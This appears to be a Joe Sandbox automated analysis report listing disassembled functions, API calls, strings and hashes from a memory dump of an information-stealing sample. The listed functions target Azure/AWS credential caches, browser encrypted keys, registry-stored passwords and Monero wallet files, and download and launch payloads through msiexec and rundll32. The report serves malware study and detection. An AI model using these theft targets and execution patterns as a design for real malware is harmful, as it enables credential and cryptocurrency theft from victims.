Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: b7aff281511ef767900da30062ee049d1446a011c76ce7454afbf98c57c47534
Instruction ID: a170f70e61b3af4a3f9500c36135c1f2c83874b342e43ab0b83c429343d75912
Opcode Fuzzy Hash: b7aff281511ef767900da30062ee049d1446a011c76ce7454afbf98c57c47534
Instruction Fuzzy Hash: C2415EBA94021877DB10E760EC47FED7638AB64705F404494B689670C1EFB5ABC98B92

Function 00139010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0013906C

Strings

image/jpeg, xrefs: 00139136

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 892acca172d047672027b8bf57c8687093021fa8ef39fbc4234394209d5a157e
Instruction ID: 13f6a21c044cfa3b440a498bbae8310b8a7aefe1cddacb8c5fc895cdcfa2cd26
Opcode Fuzzy Hash: 892acca172d047672027b8bf57c8687093021fa8ef39fbc4234394209d5a157e
Instruction Fuzzy Hash: 7171B9B5910608ABDB04EBE4DD89FEEBBBDBF58700F108508F516A7290DB74A905CF61

Function 00132E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

ShellExecuteEx.SHELL32(0000003C), ref: 001331C5
ShellExecuteEx.SHELL32(0000003C), ref: 0013335D
ShellExecuteEx.SHELL32(0000003C), ref: 001334EA

Strings

"" , xrefs: 0013309A
/i ", xrefs: 001333E4
C:\Windows\system32\msiexec.exe, xrefs: 001334BF
.msi, xrefs: 00133398
/passive, xrefs: 0013345B
.dll, xrefs: 001331E5
C:\Windows\system32\rundll32.exe, xrefs: 00133332
<, xrefs: 00133490

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 432280aca50fd5500dc815ca9d4b5f4f1c20cf145e2b050270d8b780bc9c5445
Instruction ID: 3f35fb74d10c0c8d3918694629b5059df213c85233108eff23360af54a110ac9
Opcode Fuzzy Hash: 432280aca50fd5500dc815ca9d4b5f4f1c20cf145e2b050270d8b780bc9c5445
Instruction Fuzzy Hash: 9C121371850108AADB19FBA0DC92FEDB778AF24301F904199F54776191EF742B4ACFA2

Function 001352C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 00126280: InternetOpenA.WININET(00140DFE,00000001,00000000,00000000,00000000), ref: 001262E1
Part of subcall function 00126280: StrCmpCA.SHLWAPI(?,00FFE7D8), ref: 00126303
Part of subcall function 00126280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00126335
Part of subcall function 00126280: HttpOpenRequestA.WININET(00000000,GET,?,00FFE338,00000000,00000000,00400100,00000000), ref: 00126385
Part of subcall function 00126280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001263BF
Part of subcall function 00126280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001263D1

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00135318
lstrlen.KERNEL32(00000000), ref: 0013532F

Part of subcall function 00138E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00138E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00135364
lstrlen.KERNEL32(00000000), ref: 00135383
lstrlen.KERNEL32(00000000), ref: 001353AE

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Strings

ERROR, xrefs: 0013530A
ERROR, xrefs: 0013546F
ERROR, xrefs: 00135432
ERROR, xrefs: 001354A9
ERROR, xrefs: 001353B9

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: a9e91660e016a63701fad18b67f27f12f44f7d0c9413271f26df06ab513eb6e7
Instruction ID: 637043151c5a8c33d39e444134803f063b43894a9964485b1db52e6b86fd77b3
Opcode Fuzzy Hash: a9e91660e016a63701fad18b67f27f12f44f7d0c9413271f26df06ab513eb6e7
Instruction Fuzzy Hash: A3510F70910148EBDB18FF60DD96AED7779AF20301F904068F446AB592EF346B46DBA2

Function 001312D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 004c91f5657803e5f0111111125ddb86ac7490bb69cba08bc29b74f813a7e255
Instruction ID: 8a04c54d0eb63e25b77f526621672f2433e5ee8eaed746898ea52aa42f6a8a36
Opcode Fuzzy Hash: 004c91f5657803e5f0111111125ddb86ac7490bb69cba08bc29b74f813a7e255
Instruction Fuzzy Hash: CCC194B594021DABCB14EF60DC99FEA7378BF64304F1045D8F50AA7281EB70AA85DF91

Function 00134280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00138E0B

lstrcat.KERNEL32(?,00000000), ref: 001342EC
lstrcat.KERNEL32(?,00FFDEA0), ref: 0013430B
lstrcat.KERNEL32(?,?), ref: 0013431F
lstrcat.KERNEL32(?,00FFD3C8), ref: 00134333

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 00138D90: GetFileAttributesA.KERNEL32(00000000,?,00121B54,?,?,0014564C,?,?,00140E1F), ref: 00138D9F

Part of subcall function 00129CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00129D39

Part of subcall function 001299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001299EC
Part of subcall function 001299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A11
Part of subcall function 001299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00129A31
Part of subcall function 001299C0: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129A5A
Part of subcall function 001299C0: LocalFree.KERNEL32(0012148F), ref: 00129A90
Part of subcall function 001299C0: CloseHandle.KERNEL32(000000FF), ref: 00129A9A

Part of subcall function 001393C0: GlobalAlloc.KERNEL32(00000000,001343DD,001343DD), ref: 001393D3

StrStrA.SHLWAPI(?,00FFE0C8), ref: 001343F3
GlobalFree.KERNEL32(?), ref: 00134512

Part of subcall function 00129AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124EEE,00000000,00000000), ref: 00129AEF
Part of subcall function 00129AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00124EEE,00000000,?), ref: 00129B01
Part of subcall function 00129AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124EEE,00000000,00000000), ref: 00129B2A
Part of subcall function 00129AC0: LocalFree.KERNEL32(?,?,?,?,00124EEE,00000000,?), ref: 00129B3F

lstrcat.KERNEL32(?,00000000), ref: 001344A3
StrCmpCA.SHLWAPI(?,001408D1), ref: 001344C0
lstrcat.KERNEL32(00000000,00000000), ref: 001344D2
lstrcat.KERNEL32(00000000,?), ref: 001344E5
lstrcat.KERNEL32(00000000,00140FB8), ref: 001344F4

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: e000a48c117d63e07e7df58269cdb64fab0dace77f003b805f7078bfa8e8db35
Instruction ID: 6a4dba339893330887829d1656ed37dcffdfc684f7c4c7fe86dd0577581a0165
Opcode Fuzzy Hash: e000a48c117d63e07e7df58269cdb64fab0dace77f003b805f7078bfa8e8db35
Instruction Fuzzy Hash: 8A7167B6900218ABCB14EBA0DC85FEE777DAF98300F008598F605A7181DB75EB55CF91

Function 00121310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001212B4
Part of subcall function 001212A0: RtlAllocateHeap.NTDLL(00000000), ref: 001212BB
Part of subcall function 001212A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001212D7
Part of subcall function 001212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001212F5
Part of subcall function 001212A0: RegCloseKey.ADVAPI32(?), ref: 001212FF

lstrcat.KERNEL32(?,00000000), ref: 0012134F
lstrlen.KERNEL32(?), ref: 0012135C
lstrcat.KERNEL32(?,.keys), ref: 00121377

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 00138B60: GetSystemTime.KERNEL32(00140E1A,00FFA990,001405AE,?,?,001213F9,?,0000001A,00140E1A,00000000,?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 00138B86

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00121465

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001299EC
Part of subcall function 001299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A11
Part of subcall function 001299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00129A31
Part of subcall function 001299C0: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129A5A
Part of subcall function 001299C0: LocalFree.KERNEL32(0012148F), ref: 00129A90
Part of subcall function 001299C0: CloseHandle.KERNEL32(000000FF), ref: 00129A9A

DeleteFileA.KERNEL32(00000000), ref: 001214EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00121335
.keys, xrefs: 0012136B
wallet_path, xrefs: 00121330
\Monero\wallet.keys, xrefs: 0012138D

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: eb4c93b98624ea71bbd5c9f80c581ae6c81fe52072c03e0ee77d765a6e853d98
Instruction ID: f8d9c40368e83098f8cd6615f74a0238dfecc341fc23514d8c5d71352fc324cd
Opcode Fuzzy Hash: eb4c93b98624ea71bbd5c9f80c581ae6c81fe52072c03e0ee77d765a6e853d98
Instruction Fuzzy Hash: E55122B195011867CB15EB60DD92BED737CAF64300F8041D8B64A72091EF706B89CFA6

Function 001275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001272D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0012733A
Part of subcall function 001272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001273B1
Part of subcall function 001272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0012740D
Part of subcall function 001272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00127452
Part of subcall function 001272D0: HeapFree.KERNEL32(00000000), ref: 00127459

lstrcat.KERNEL32(00000000,001417FC), ref: 00127606
lstrcat.KERNEL32(00000000,00000000), ref: 00127648
lstrcat.KERNEL32(00000000, : ), ref: 0012765A
lstrcat.KERNEL32(00000000,00000000), ref: 0012768F
lstrcat.KERNEL32(00000000,00141804), ref: 001276A0
lstrcat.KERNEL32(00000000,00000000), ref: 001276D3
lstrcat.KERNEL32(00000000,00141808), ref: 001276ED
task.LIBCPMTD ref: 001276FB

Strings

: , xrefs: 0012764E

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 97d0bdc029f1aae94bb6fe99f951e514ffac7fd82b3b253ef4cf9e0be93414ea
Instruction ID: a37ef172245dbef9fe750a4b61c4a84c41669a019dbe8005da40fcbf85f3c68a
Opcode Fuzzy Hash: 97d0bdc029f1aae94bb6fe99f951e514ffac7fd82b3b253ef4cf9e0be93414ea
Instruction Fuzzy Hash: 01314D71901519EFCB05EBA4EC99DEF7778AB54302F148118F102B72A0DB74A956CF52

Function 00138100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00FFE5C0,00000000,?,00140E2C,00000000,?,00000000), ref: 00138130
RtlAllocateHeap.NTDLL(00000000), ref: 00138137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00138158
__aulldiv.LIBCMT ref: 00138172
__aulldiv.LIBCMT ref: 00138180
wsprintfA.USER32 ref: 001381AC

Strings

%d MB, xrefs: 001381A3
@, xrefs: 0013814D

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: be3c4b87eb589ff50f2c51f150cf2cf0684dc1558ee73d3d82a3609b9082842e
Instruction ID: 760948895650a3cd77de581ebe2cf80b7a52a43007d210e62e629847e011843e
Opcode Fuzzy Hash: be3c4b87eb589ff50f2c51f150cf2cf0684dc1558ee73d3d82a3609b9082842e
Instruction Fuzzy Hash: 5D211AB1E44318ABDB04DFD4DD49FAEBBB8FB44B10F104609F605BB280D7B869018BA5

Function 001260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124839
Part of subcall function 001247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124849

InternetOpenA.WININET(00140DF7,00000001,00000000,00000000,00000000), ref: 0012610F
StrCmpCA.SHLWAPI(?,00FFE7D8), ref: 00126147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0012618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0012620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00126249
InternetCloseHandle.WININET(?), ref: 00126253
InternetCloseHandle.WININET(00000000), ref: 00126260

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

